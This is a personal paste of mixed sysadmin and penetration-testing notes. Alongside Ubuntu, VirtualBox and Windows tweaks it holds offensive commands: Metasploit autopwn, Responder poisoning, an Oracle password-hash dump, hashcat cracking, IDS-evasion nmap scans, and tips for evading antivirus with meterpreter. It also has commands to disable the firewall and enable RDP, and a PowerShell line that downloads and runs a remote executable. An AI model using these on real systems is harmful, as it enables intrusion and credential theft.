· 9 years ago · Mar 17, 2017, 08:10 AM
1# Virtualbox mount stuff FVWM2 stuff
2mount -t vboxsf delete /s
3nm-applet ( may need to apt-get remove --purge "network-manager" -y;apt-get autoremove -y ; rm -Rf /etc/NetworkManager )
4
5
6
7# xss
8http://singularityx.wordpress.com/2013/01/11/stealing-passwords-with-autocomplete-and-xss/
9
10# radar
11http://cybermap.kaspersky.com/
12
13http://www.securitywizardry.com/radar.htm
14
15
16# flows using graphviz as rendering engine. It works like this:
17
18* for %i in (*.pcap) tshark -r %i -q -z conv,tcp >> flows.txt
19* parseflows.py -i flows.txt -o pretty.pdf
20
21
22# shh VPN netblocks non routableish ..
2325.0.0.0/8
2414.0.0.0/8
255.0.0.0/8
26
27
28#malware sanbox
29sanboxie BSA
30https://malwr.com/ Malwr - Malware Analysis by Cuckoo Sandbox
31https://anubis.iseclab.org Anubis Malware Analysis for Unknown Binaries
32http://http://apac.pandasecurity.com/autovin-assistant Autovin-assistant - Panda Security Asia Pacific
33http://bitblaze.cs.berkeley.edu/ BitBlaze: Binary Analysis for Computer Security
34http://www.joesecurity.org/joe-sandbox-desktop Agile Malware Analysis - Joe Sandbox Desktop
35http://malbox.xjtu.edu.cn/ Malbox is a service for malware analysis
36http://www.threatexpert.com/submit.aspx ThreatExpert - Submit Your Sample Online
37https://vicheck.ca/ ViCheck.ca - Find embedded malware in documents, PDFs
38http://www.xandora.net/upload/ Xandora - Your Online Binary Analyser
39
40
41
42Excel Hell
43
44Join cells with commas =CONCATENATE(N8,",",O8,",",P8,",",Q8,",",R8)
45remove trailing commas = SUBSTITUTE(TRIM(SUBSTITUTE(U5, ",", " "))," ", ",")
46remove trailing commas ... with commas in them.. I know right : =LEFT(U2,LEN(U2)-(LEN(U2)-SEARCH(",,",U2)+1))
47
48# lookup in exchange outlook api
49Public Function GetOffice1(var1)
50
51 Dim outApp As Object 'Application
52 Dim outTI As Object 'TaskItem
53 Dim outRec As Object 'Recipient
54 Dim outAL As Object 'AddressList
55
56
57 Set outApp = GetObject(, "Outlook.Application")
58 Set outAL = outApp.Session.addressLists.Item("Global Address List")
59 Set outTI = outApp.CreateItem(3)
60
61 outTI.Assign
62
63 Set outRec = outTI.Recipients.Add(var1)
64 outRec.Resolve
65 If outRec.Resolved Then
66 'MsgBox outRec.addressEntry.Name
67 GetOffice1 = outRec.addressEntry.GetExchangeUser.OfficeLocation
68 'MsgBox outRec.addressEntry.GetExchangeUser.JobTitle
69 'MsgBox outRec.addressEntry.GetExchangeUser.
70 'MsgBox outAL.addressEntries(outRec.addressEntry.manager.Name).GetExchangeUser.Alias
71 Else
72 GetOffice1 = "Couldn't find Employee"
73 End If
74
75
76End Function
77
78
79
80# Private IP space used by at least tmobile ?
81100.64.0.0 - 100.127.255.255
8225.0.0.0/8
83
84# CallRecorder Android
85Device: Samsung Galaxy S4 ( T-Mobile )
86Recording Method
87Standard API
88
89
90#Android Hardware keys kill app killall
91Back Key (long press) Kill App
92
93# kill the god awful touchpad ...after disabling it via the systray settings...on startup...
94cax.exe /RUH "C:\Program Files\Synaptics\SynTP\SynTPEnh.exe"
95cax.exe /WAIT:10
96cat.exe /KILLALL syntp*
97
98
99
100# WMP not in services list ... ok disable windows media player via cmd
101sc config "WMPNetworkSvc" start= disabled
102
103#topports 2000 not 80ish for armitage
104db_nmap -vvv -sV -T4 -p 1,3-4,6-7,9,13,17,19-27,30,32-33,37,42-43,49,53,55,57,59,70,77,79,83-90,98-100,102,106,109-111,113,119,123,125,127,135,139,143-144,146,157,161,163,179,199,210-212,220,222-223,225,250-252,254-257,259,264,280,301,306,311,333,340,366,388-389,406-407,411,416-417,419,425,427,441,444-445,447,458,464-465,475,481,497,500,502,512-515,523-524,540-541,543-545,548,554-557,563,587,593,600,602,606,610,616-617,621,623,625,631,636,639,641,646,648,655,657,659-660,666-669,674,683-684,687,690-691,700-701,705,709-711,713-715,720,722,725-726,728-732,740,748-749,754,757-758,765,777-778,780,782-783,786-787,790,792,795,800-803,805-806,808,822-823,825,829,839-840,843,846,856,859,862,864,873-874,878,880,888,898,900-905,911-913,918,921-922,924,928,930-931,943,953,969,971,980-981,987,990,992-993,995-996,998-1002,1004-1015,1020-1114,1116-1119,1121-1128,1130-1132,1134-1138,1141,1143-1145,1147-1154,1156-1159,1162-1169,1173-1176,1179-1180,1182-1188,1190-1192,1194-1196,1198-1201,1204,1207-1213,1215-1218,1220-1223,1228-1229,1233-1234,1236,1239-1241,1243-1244,1247-1251,1259,1261-1262,1264,1268,1270-1272,1276-1277,1279,1282,1287,1290-1291,1296-1297,1299-1303,1305-1311,1314-1319,1321-1322,1324,1327-1328,1330-1331,1334,1336-1337,1339-1340,1347,1350-1353,1357,1413-1414,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1516,1521-1522,1524-1526,1533,1547,1550,1556,1558-1560,1565-1566,1569,1580,1583-1584,1592,1594,1598,1600,1605,1607,1615,1620,1622,1632,1635,1638,1641,1645,1658,1666,1677,1683,1687-1688,1691,1694,1699-1701,1703,1707-1709,1711-1713,1715,1717-1723,1730,1735-1736,1745,1750,1752-1753,1755,1761,1782-1783,1791-1792,1799-1801,1805-1808,1811-1812,1823,1825,1835,1839-1840,1858,1861-1864,1871,1875,1900-1901,1911-1912,1914,1918,1924,1927,1935,1947,1954,1958,1971-1976,1981,1984,1998-2013,2020-2022,2025,2030-2031,2033-2035,2038,2040-2049,2062,2065,2067-2070,2080-2083,2086-2087,2095-2096,2099-2101,2103-2107,2111-2112,2115,2119,2121,2124,2126,2134-2135,2142,2144,2148,2150,2160-2161,2170,2179,2187,2190-2191,2196-2197,2200-2201,2203,2222,2224,2232,2241,2250-2251,2253,2260-2262,2265,2269-2271,2280,2288,2291-2292,2300-2302,2304,2312-2313,2323,2325-2326,2330,2335,2340,2366,2371-2372,2381-2383,2391,2393-2394,2399,2401,2418,2425,2433,2435-2436,2438-2439,2449,2456,2463,2472,2492,2500-2501,2505,2522,2525,2531-2532,2550-2551,2557-2558,2567,2580,2583-2584,2598,2600-2602,2604-2608,2622-2623,2628,2631,2638,2644,2691,2700-2702,2706,2710-2712,2717-2718,2723,2725,2728,2734,2800,2804,2806,2809,2811-2812,2847,2850,2869,2875,2882,2888-2889,2898,2901-2903,2908-2910,2920,2930,2957-2958,2967-2968,2973,2984,2987-2988,2991,2997-2998,3000-3003,3005-3007,3011,3013-3014,3017,3023,3025,3030-3031,3050,3052,3057,3062-3063,3071,3077,3080,3089,3102-3103,3118-3119,3121,3128,3146,3162,3167-3168,3190,3200,3210-3211,3220-3221,3240,3260-3261,3263,3268-3269,3280-3281,3283,3291,3299-3301,3304,3306-3307,3310-3311,3319,3322-3325,3333-3334,3351,3362-3363,3365,3367-3372,3374,3376,3388-3390,3396,3399-3400,3404,3410,3414-3415,3419,3425,3430,3439,3443,3456,3476,3479,3483,3485-3486,3493,3497,3503,3505-3506,3511,3513-3515,3517,3519-3520,3526-3527,3530,3532,3546,3551,3577,3580,3586,3599-3600,3602-3603,3621-3622,3632,3636-3637,3652-3653,3656,3658-3659,3663,3669-3670,3672,3680-3681,3683-3684,3689-3690,3697,3700,3703,3712,3728,3731,3737,3742,3749,3765-3766,3784,3787-3788,3790,3792-3793,3795-3796,3798-3801,3803,3806,3808-3814,3817,3820,3823-3828,3830-3831,3837,3839,3842,3846-3853,3856,3859-3860,3863,3868-3872,3876,3878-3880,3882,3888-3890,3897,3899,3901-3902,3904-3909,3911,3913-3916,3918-3920,3922-3923,3928-3931,3935-3937,3940-3941,3943-3946,3948-3949,3952,3956-3957,3961-3964,3967-3969,3971-3972,3975,3979-3983,3986,3989-4007,4009-4010,4016,4020,4022,4024-4025,4029,4035-4036,4039-4040,4045,4056,4058,4065,4080,4087,4090,4096,4100-4101,4111-4113,4118-4121,4125-4126,4129,4135,4141,4143,4147,4158,4161,4164,4174,4190,4192,4200,4206,4220,4224,4234,4242,4252,4262,4279,4294,4297-4298,4300,4302,4321,4325,4328,4333,4342-4343,4355-4358,4369,4374-4376,4384,4388,4401,4407,4414-4415,4418,4430,4433,4442-4447,4449,4454,4464,4471,4476,4516-4517,4530,4534,4545,4550,4555,4558-4559,4567,4570,4599-4602,4606,4609,4644,4649,4658,4662,4665,4687,4689,4700,4712,4745,4760,4767,4770-4771,4778,4793,4800,4819,4848,4859-4860,4875-4877,4881,4899-4900,4903,4912,4931,4949,4998-5005,5009-5017,5020-5021,5023,5030,5033,5040,5050-5055,5060-5061,5063,5066,5070,5074,5080-5081,5087-5088,5090,5095-5096,5098,5100-5102,5111,5114,5120-5122,5125,5133,5137,5147,5151-5152,5190,5200-5202,5212,5214,5219,5221-5223,5225-5226,5233-5235,5242,5250,5252,5259,5261,5269,5279-5280,5291,5298,5339,5347,5353,5357,5370,5377,5405,5414,5423,5431-5433,5440-5442,5444,5457-5458,5473,5475,5500-5502,5510,5520,5544,5550,5552-5555,5557,5560,5566,5580,5631,5633,5666,5678-5680,5718,5730,5800-5803,5807,5810-5812,5815,5818,5822-5823,5825,5850,5859,5862,5868-5869,5877,5899-5907,5909-5911,5914-5915,5918,5922,5925,5938,5940,5950,5952,5959-5963,5968,5981,5987-5989,5998-6009,6017,6025,6050-6051,6059-6060,6068,6100-6101,6103,6106,6112,6123,6129,6156,6203,6222,6247,6346,6389,6481,6500,6502,6504,6510,6520,6543,6547,6550,6565-6567,6580,6600,6646,6662,6666-6670,6689,6692,6699,6711,6732,6779,6788-6789,6792,6839,6881,6896,6901,6969,7000-7004,7007,7010,7019,7024-7025,7050-7051,7070,7080,7100,7103,7106,7123,7200-7201,7241,7272,7278,7281,7402,7435,7438,7443,7496,7512,7625,7627,7676,7725,7741,7744,7749,7770,7777-7778,7800,7878,7900,7911,7913,7920-7921,7929,7937-7938,7999-8002,8007-8011,8015-8016,8019,8021-8022,8031,8042,8045,8050,8083-8090,8093,8095,8097-8100,8118,8180-8181,8189,8192-8194,8200,8222,8254,8290-8294,8300,8333,8383,8385,8400,8402,8443,8481,8500,8540,8600,8648-8649,8651-8652,8654,8675-8676,8686,8701,8765-8766,8800,8873,8877,8888-8889,8899,8987,8994,8996,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9098-9103,9110-9111,9152,9191,9197-9198,9200,9207,9220,9290,9409,9415,9418,9443-9444,9485,9500-9503,9535,9575,9593-9595,9600,9618,9621,9643,9666,9673,9815,9876-9878,9898,9900,9914,9917,9941,9943-9944,9968,9988,9992,9998-10005,10008-10012,10022-10025,10034,10058,10082-10083,10160,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,10873,11110-11111,11967,12000,12006,12021,12059,12174,12215,12262,12265,12345-12346,12380,12452,13456,13722,13724,13782-13783,14000,14238,14441-14442,15000-15004,15402,15660,15742,16000-16001,16012,16016,16018,16080,16113,16705,16800,16851,16992-16993,17595,17877,17988,18000,18018,18040,18101,18264,18988,19101,19283,19315,19350,19780,19801,19842,19900,20000,20002,20005,20031,20221-20222,20828,21571,21792,22222,22939,23052,23502,23796,24444,24800,25734-25735,26000,26214,26470,27000,27352-27353,27355-27357,27715,28201,28211,29672,29831,30000,30005,30704,30718,30951,31038,31337,31727,32768-32785,32791-32792,32803,32816,32822,32835,33354,33453,33554,33899,34571-34573,35500,35513,37839,38037,38185,38188,38292,39136,39376,39659,40000,40193,40811,40911,41064,41511,41523,42510,44176,44334,44442-44443,44501,44709,45100,46200,46996,47544,48080,49152-49161,49163-49165,49167-49168,49171,49175-49176,49186,49195,49236,49400-49401,49999-50003,50006,50050,50300,50389,50500,50636,50800,51103,51191,51413,51493,52660,52673,52710,52735,52822,52847-52851,52853,52869,53211,53313-53314,53535,54045,54328,55020,55055-55056,55555,55576,55600,56737-56738,57294,57665,57797,58001-58002,58080,58630,58632,58838,59110,59200-59202,60020,60123,60146,60443,60642,61532,61613,61900,62078,63331,64623,64680,65000,65129,65310,65389
105
106# openvas greenbone cmd line scan
107omp -h 127.0.0.1 -p 9390 -u admin -w password -X "<create_target><name>$RANDOM</name><hosts>"
108`for i in `seq 1 255` ;do echo 192.168.1.$i",";done | tr -d '\n'`
109"</hosts></create_target>"
110
111# ubuntu Install security updates only
112
113apt-get -s dist-upgrade | grep "^Inst" | grep -i securi | awk -F " " {'print $2'} | xargs apt-get install
114
115
116# remove crap in ubuntu
117apt-get remove deja-dup -y
118for i in `apt-cache search ubuntuone|awk '{print $1}'`;do apt-get remove $i -y ;done
119apt-get remove rhythmbox-plugin-zeitgeist geoclue geoclue-ubuntu-geoip geoip-database whoopsie -y
120echo exit 0 > /etc/default/ntpdate
121apt-get --yes purge unity-asset-pool unity-lens-* unity-scope-*
122cd /etc/xdg/autostart/
123sed --in-place 's/NoDisplay=true/NoDisplay=false/g' *.desktop
124apt-get remove update-manager update-notifier -y
125for i in `apt-cache search musicstore|awk '{print $1}'`;do apt-get remove $i -y ;done
126for i in `apt-cache search empathy|awk '{print $1}'` ;do apt-get remove $i -y;done
127apt-get remove -y indicator-messages
128killall indicator-messages-service
129killall unity-panel-service
130
131
132# install ipad apps ipa from command line
133# find all the IPA files and extract them
134find . -name "*.ipa" -exec unzip -o '{}' \;
135# set the parms to the extracted zips
136chmod -R 777 ./Payload
137# move the apps to the /Applicatoins folder
138mv ./Payload/* /Applicatoins/
139
140
141
142#bash web dump links lynx
143lynx -width=999 -source -nolist URL
144
145#winrar windows mass extract
146for /f "delims=" %%i IN ('dir/s/b *.rar') do (
147C:\usb\media\WinRAR\WinRAR.exe x "%%i" "%CD%"
148)
149
150
151#recon
152pushpin
153threatagent
154jigsaw.rb
155https://scans.io/
156
157
158#record
159tcpdump -w dump.pcap -i eth0
160
161# rewrite
162tcprewrite --infile=dump.pcap --outfile=temp1.pcap --dstipmap=0.0.0.0/0:192.168.1.20 --enet-dmac=E0:DB:55:CC:13:F1
163tcprewrite --infile=temp1.pcap --outfile=temp2.pcap --srcipmap=0.0.0.0/0:192.168.1.10 --enet-smac=84:A5:C8:BB:58:1A
164tcprewrite --infile=temp2.pcap --outfile=final.pcap --fixcsum
165sudo tcpreplay --intf1=eth0 final.pcap
166
167# playback 100x fulls speed
168tcpreplay .t --loop=100 --intf1=eth0 final.pcap
169
170
171#sharepoint hackin'
172sparty
173horse
174SPScan
175
176# exchange 2007
177setup.com /PrepareSchema
178Setup.com /PrepareAD
179
180setup.com /PrepareLegacyExchangePermissions
181setup.com /PrepareSchema
182setup.com /PrepareAD
183setup.com /PrepareAllDomains
184
185# auto login
186
187reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "DefaultUserName" /d "Administrator" /f
188reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "DefaultPassword" /d "OMGYERPASSWORD" /f
189reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AdminAutoLogin" /d "1" /f
190
191
192# block youtube annotatoins
193This is for anyone who runs adblock plus in firefox (should work in chrome as well) and wants to disable the annoying annotations / popups on youtube. If you have adblock installed just do the following:
194
195Firefox>tools>adblock plus>filter preferences
196
197Click add filter group, name the filter whatever you like and then in filter actions click paste after you have copied the text below.
198
199Quote:
200||youtube.com/annotations_
201
202# responder
203python Responder.py -i 192.168.1.109 -b 1 -r 1 -w On --lm=1
204
205# oracle oclhashcat table dump
206SELECT password,spare4,name FROM sys.user$ WHERE password is not null;
207
208# MSF UAC
209In our experience, we can get a shell even with SEP NTP enabled. We used bind_tcp instead of reverse_tcp after lots of testing. It looks like SEP only recognized reverse meterpreter but not the bind_tcp. Here are the steps we did:
2101. Fragmented all our traffic (fragrouter)
2112. Set MTU to 24
212I don.t know if the above has any effect at all. We haven.t looked into it.
213On metasploit
2141. We set the TCP_MAX_SENDSIZE to 3 or 4
2152. Used meterpreter bind_tcp.
216I hope this will be of some help.
217
218https://github.com/mattifestation/PowerSploit
219
220
221http://hak5.org/category/episodes/metasploit-minute
222
223
224# autopwn with new MSF bin
225# download autopwn
226cd /opt/metasploit/apps/pro/msf3/plugins/
227wget 'https://raw.github.com/neinwechter/metasploit-framework/autopwn-modules/plugins/db_autopwn.rb'
228
229# get postgres password
230cat /opt/metasploit/apps/pro/msf3/config/database.yml
231
232# remove plugin
233find /opt -iname "*trans2open*" -exec rm '{}' \;
234
235
236# start MSF
237load db_autopwn
238
239# clear the DB
240# pg_hba.conf local all all trust restart postgres
241psql msf3 -U msf3
242DELETE FROM hosts;
243DELETE FROM services;
244DELETE FROM events;
245DELETE FROM notes;
246DELETE FROM creds;
247DELETE FROM loots;
248DELETE FROM sessions;
249DELETE FROM clients;
250\q
251
252# gogo
253db_nmap -p 445 10.0.2.2
254db_autopwn -p -t -e -v
255
256
257
258
259# IDS Evasion for NFS, example of different options
260
261nmap --spoof-mac Apple --traceroute -T1 --data-length 9 -f -D 192.168.1.2,ME,RND:5 -v -n -O -sV -oA ~/scan.txt --log-errors -p T:111,1110,2049,4045,U:111,1110,2049,4045 --randomize-hosts 192.168.1.1-10
262
263
264# peg GPU OCLHASHCAT
265--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --runtime 9000 --force --custom-charset1 ?l?d?s?u --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
266
267# dhcp
268netsh interface ipv4 set address name="LAN" dhcp
269netsh interface ipv4 set dnsservers name="LAN" source=dhcp
270
271# STATIC IP
272
273c:\windows\System32\ipconfig.exe /release
274
275netsh interface ipv4 set address name="LAN" source=static address=172.16.2.XXX mask=255.255.252.0 gateway=172.16.1.1
276
277netsh interface ipv4 add dnsserver name="LAN" address=172.16.2.253 index=1
278netsh interface ipv4 add dnsserver name="LAN" address=198.6.1.2 index=2
279
280Spiderlabs Responder
281python Responder.py -i 10.0.0.10 -b 1 -r 1 -w On --lm=1
282
283
284# metagoofil checkout
285checkout http://metagoofil.googlecode.com/svn/trunk/ metagoofil-read-only
286
287
288# dump script
289python metagoofil.py -d $1 -t xlsx -l 500 -n 500 -o $1files -f xlsx_results.html
290python metagoofil.py -d $1 -t docx -l 500 -n 500 -o $1files -f docx_results.html
291python metagoofil.py -d $1 -t pptx -l 500 -n 500 -o $1files -f pptx_results.html
292
293python metagoofil.py -d $1 -t xls -l 500 -n 500 -o $1files -f xls_results.html
294python metagoofil.py -d $1 -t doc -l 500 -n 500 -o $1files -f doc_results.html
295python metagoofil.py -d $1 -t ppt -l 500 -n 500 -o $1files -f ppt_results.html
296
297python metagoofil.py -d $1 -t pdf -l 500 -n 500 -o $1files -f pdf_results.html
298
299
300
301# fix stupid trim file names ...
302rename 's/^(.{32}).*(\..*)$/$1$2/' *
303
304
305
306nmap compile
307./configure --without-zenmap --without-ncat --with-libpcap=included
308
309nmap ping scan
310nmap --script broadcast-ping -oA ping_all -n -sP
311
312How to increase mouse sensitivity beyond limits in Windows Regedit
313reg add "HKCU\Control Panel\Mouse" /v "MouseSpeed" /d "2" /f
314reg add "HKCU\Control Panel\Mouse" /v "MouseThreshold1" /d "0" /f
315reg add "HKCU\Control Panel\Mouse" /v "MouseThreshold2" /d "0" /f
316taskkill /im explorer.exe /f
317explorer
318
31907/03/2013 - How can I prevent Ask.com Toolbar from being installed every time Java is updated
320Reg Add "HKLM\SOFTWARE\JavaSoft" /V "SPONSORS" /D DISABLE /T reg_sz /F
321Reg Add "HKLM\SOFTWARE\Wow6432Node\JavaSoft" /V "SPONSORS" /D DISABLE /T reg_sz /F
322
323
324
325
326
32706/30/2013 - Disable Skydrive/Upload Center in Office 2013
328Reg Add "HKCU\software\policies\microsoft\office\common\webintegration" /V "webintegrationenabled" /D 0 /T REG_DWORD /F
329Reg Add "HKLM\software\policies\microsoft\office\common\webintegration" /V "webintegrationenabled" /D 0 /T REG_DWORD /F
330Reg Add "HKCU\Software\Microsoft\Office\15.0\Common\SignIn" /V "SignInOptions" /D 3 /T REG_DWORD /F
331Reg Add "HKLM\Software\Microsoft\Office\15.0\Common\SignIn" /V "SignInOptions" /D 3 /T REG_DWORD /F
332del /s/q c:\MSOUC.EXE
333del /s/q c:\MSOSYNC.EXE
334
335# BS buttons
336http://instantrimshot.com/classic/?sound=coughbullshit
337
338Penetration Testing Frameworks:
339
3401. iOS
341 Tools:- iNalyzer (cydia), isafePlay, Burp for manipulating iOS apps.
342 And follow the traditional assessment (https://www.owasp.org/index.php/IOS_Application_Security_Testing_Cheat_Sheet)
3432. Android
344 SmartPhone PenTest Framework (http://www.bulbsecurity.com/smartphone-pentest-framework/), Android SDK, OWASP LAPSE+, Burp can be used to conduct the testing. SPF can also be used to integrate with metasploit,SET etc.
3453. Windows Phone 7 and below
346 Windows SDK (need a developer account) and Charles/Burp proxy is a good combination to conduct the assessments.
3474. BlackBerry - does provide a rigorous security screening process that submitted apps must pass in order to be listed in the store, but still we can still use the traditional android framework to test the apps designed for BB ( limited to java).
348
349
350# password manager command line for windows key manager / stored usernames and passwords windows 7
351rundll32.exe keymgr.dll,KRShowKeyMgr
352control keymgr.dll
353
354# chown xcalcs calcs
355FOR /F "delims==" %%A IN ('dir /b') DO cacls.exe "%%A" /T /E /G everyone:f
356find . -maxdepth 3 -exec cacls.exe '{}' /T /E /G everyone:f \;
357
358# windows compatibility mode compat command line.
359set __COMPAT_LAYER=WinXPSP3
360
361# fix windows boot loader
362ms-sys --mbr /dev/sdx
363# or
364apt-get install syslinux
365dd if=/usr/lib/syslinux/mbr.bin of=/dev/sdx
366# or
367apt-get install mbr
368install-mbr -i n -p D -t 0 /dev/sdx
369
370#disable windows firewall windows 7
371netsh advfirewall set AllProfiles state off
372
373#enable RDP over CLI
374reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
375
376# kill RDP logins and force logoff sessionts
377qwinsta
378rwinsta
379# logoff sessions
380logoff 1
381
382
383# psexec winexe
384 winexe --user admin --password=password //192.168.1.250 c:\\windows\\system32\\nnplus.bat
385
386# java tricks
387javascript:document.body.contentEditable='true'; document.designMode='on'; void 0
388javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);
389
390
391
392# open with in ubuntu
393# gedit ~/.gnome2/nautilus-scripts/Open\ with\ gedit
394filesall=."
395while [ $# -gt 0 ]
396do
397files=`echo .$1. | sed .s/ /\?/g.`
398filesall=.$files $filesall.
399shift
400done
401mplayer -vc ffvc1vdpau,ffwmvvdpau,ffh264vdpau,ffmpeg12vdpau -vo vdpau -ac hwdts,hwac3, -ao alsa:device=spdif -cache 8192 -fs -zoom -quiet $filesall&
402
403
404#irssi
405#/NETWORK ADD irc.freenode.net -autosendcmd "/^msg nickserv ident password;wait 2000"
406/NETWORK ADD irc.freenode.net
407/SERVER ADD -auto -network irc.freenode.net irc.freenode.net 6667
408/CHANNEL ADD -auto #infonomicon irc.freenode.net
409
410
411# irssi aliases in conf
412 1 = "/^msg NickServ ghost operat0r password";
413 2 = "/^nick operat0r";
414 3 = "/^msg NickServ identify operat0r password";
415 4 = "/^msg NickServ identify password";
416m = "wait 5000;/window 2;wait 5000;/window show 2;wait 9000;/window show 3;wait 9000;/window show 4;wait 9000;/win balance;wait 5000;/clear -all";
417
418
419# example image dump
420wget -q --no-clobber -P pics -H -nd -r -Dimages.4chan.org -A '.jpg,.jpeg,.png,.gif,' -U 'rmccurdyDOTcom' -e robots=off http://boards.4chan.org/b/
421
422
423
424# purge security onion
425nsm_sensor_clean --force-yes
426rm -rf /nsm/sensor_data/*/dailylogs/*
427sguil-db-purge
428rm -Rf /nsm/bro/spool/tmp/
429
430
431
432# disable ipv6 win7
433netsh interface teredo set state disabled
434netsh interface ipv6 6to4 set state state=disabled undoonstop=disabled
435netsh interface ipv6 isatap set state state=disabled
436
437#disable firefox plugin check : in about:config add FAIL in front of plugins.update.url and rename the DLL or plugin restart FF !
438
439# exploit-db.com checkout svn checkout
440wget exploit-db.com/archive.tar.bz2
441
442# weather radar on liner wunderground
443radblast-aws.wunderground.com/cgi-bin/radar/WUNIDS_map?station=FFC&brand=wui&num=10&delay=15&type=N0R&frame=0&scale=1.000&noclutter=0&t=1361486454&lat=34.02500916&lon=-84.31282806&label=RMCCURDY.COM&showstorms=0&map.x=400&map.y=240¢erx=400¢ery=240&transx=0&transy=0&showlabels=1&severe=0&rainsnow=0&lightning=0&smooth=0
444
445#powershell
446powershell (new-object System.Net.WebClient).DownloadFile('http://rmccurdy.com/scripts/quickvnc.exe','%TEMP%\quickvnc.exe');Start-Process "%TEMP%\quickvnc.exe"
447
448
449
450# NX client FreeNX
451# line to use in custom for ubuntu
452gnome-session --session=ubuntu-2d
453
454
455# stupid webalizer ...
456 find /var/log/apache2/access.log* -exec webalizer -c /etc/webalizer/webalizer.conf '{}' \;
457
458
459# wipe irssi conf and setup
460rm -Rf ~./.irssi
461/NETWORK ADD synirc
462/SERVER ADD -auto -network synirc irc.synirc.net 6667
463/CHANNEL ADD -auto #newznab synirc
464/SET autolog ON
465/SET autolog_level ALL
466
467
468/alias hideadd eval set activity_hide_targets $activity_hide_targets $-
469/alias hideclear set -c activity_hide_targets
470/alias hidelevels.clear set -c activity_hide_level
471/alias hidelevels.set set activity_hide_level parts joins quits nicks modes
472/alias hidelist set activity_hide_targets
473/alias hideset set activity_hide_targets $-
474
475/hideadd
476/hideclear
477/hidelevels.clear
478/hidelevels.set
479/hidelist
480/hideset
481/ignore -channels #newznab * JOINS PARTS QUITS NICKS
482
483
484
485
486# virtualbox vbox headless vbs script
487Set WshShell = WScript.CreateObject("WScript.Shell")
488obj = WshShell.Run("C:\Progra~1\Oracle\VirtualBox\VBoxHeadless.exe -s nnplus64", 0)
489set WshShell = Nothing
490
491
492# compress dynamic disk in virtualbox
493dd if=/dev/zero of=/zerofile; sudo rm /zerofile
494dd if=/dev/zero of=/zerofile; sudo rm /zerofile
495VBoxManage modifyhd nnplus2.vdi -compact
496
497
498
499# start vbox vm
500VBoxHeadless -s nnplus
501
502# start a vm hidden/headless
503powershell start-process 'C:\Program Files\Oracle\VirtualBox\vboxheadless' '-s nnplus64' -WindowStyle Hidden
504
505
506# wipe snapshot
507VBoxManage snapshot nnplus take clean
508
509# shutdown via cmd
510VBoxManage controlvm "nnplus" powerof
511
512
513# backup conf files quickly before update
514locate "*.conf"|xargs tar -zcpf "/home/mythtv/CONF_ZIP_`date +%Y%m%d`.tar.gz"
515
516IP to Site
517http://www.ip866.com/reverse.aspx
518http://www.myipneighbors.com
519http://www.yougetsignal.com/tools/web-sites-on-web-server
520http://ip.wen.la
521http://www.114best.com/ip/
522http://www.zzstat.com/ip_domain.html
523http://whois.webhosting.info
524http://www.bm8.com.cn/myip
525http://www.seores.com/search/checkdomainfromip.asp
526http://tools.dxsheng.com/IpSnap
527http://tool.gimoo.net/iphost
528http://www.yw123.com/ip.asp
529http://cn.bing.com/search?q=ip%3A209.195.132.165
530http://www.ip138.com+
531
532hashs
533href="http://hashcrack.com
534http://www.lmcrack.com
535http://passcracking.com
536http://www.cmd5.com
537http://xmd5.org
538http://md5.rednoize.com
539http://www.t00ls.net/tools/md5
540http://www.hashchecker.com/index.php?_sls=search_hash
541http://md5.mmkey.com
542http://gdataonline.com/seekhash.php">GdataOnline</a><br>
543http://cha88.cn/safe/md5.php
544http://www.md5crack.com
545http://www.md5.com.cn
546http://www.objectif-securite.ch/en/products.php
547
548#db ports ?
549-T3 -p 1521-1527,3306-3310,1433-1437,3200-3299,3300-3399,32000-32990,33000-33990
550
551# mount images also checck sleuthkit.org/autopsy/
552First I check the disk geometry with sfdisk -l -u -S *
553Then look for the start sector of the partition, e.g. 5
554
555mount -o loop,offset=$((5 * 512)) [image] /mnt
556mount the partition to /mnt (replace 5 with the output from sfdisk)
557
558mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/APPSERVER.dd appserver/
559
560mount -t ntfs -o ro,offset=41126400,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/RH-CLIENT-MX.dd rh-CLIENT-MX/part1/
561mount -t ntfs -o ro,offset=12930172416,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/RH-CLIENT-MX.dd rh-CLIENT-MX/part2/
562
563mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/SERVERSQL.dd serversql
564mount -t ntfs -o ro,offset=32256,loop,umask=007,gid=4 /media/IOMEGA_BKUP/CLIENT-MX/SERVERSQL2.dd serversql2/
565
566
567
568# nethackit.sh.txt metasploit scanners
569auxiliary/scanner/ftp/anonymous
570auxiliary/scanner/ftp/ftp_login
571auxiliary/scanner/snmp/snmp_enum
572auxiliary/scanner/snmp/snmp_enumshares
573auxiliary/scanner/snmp/snmp_enumusers
574auxiliary/scanner/snmp/snmp_login
575auxiliary/scanner/mssql/mssql_hashdump
576auxiliary/scanner/oracle/oracle_login
577auxiliary/scanner/oracle/sid_brute
578auxiliary/scanner/smtp/smtp_enum
579auxiliary/scanner/smtp/smtp_version
580auxiliary/scanner/telnet/telnet_login
581auxiliary/scanner/mysql/mysql_hashdump
582auxiliary/scanner/mysql/mysql_login
583auxiliary/scanner/mysql/mysql_version
584auxiliary/scanner/smb/smb_version
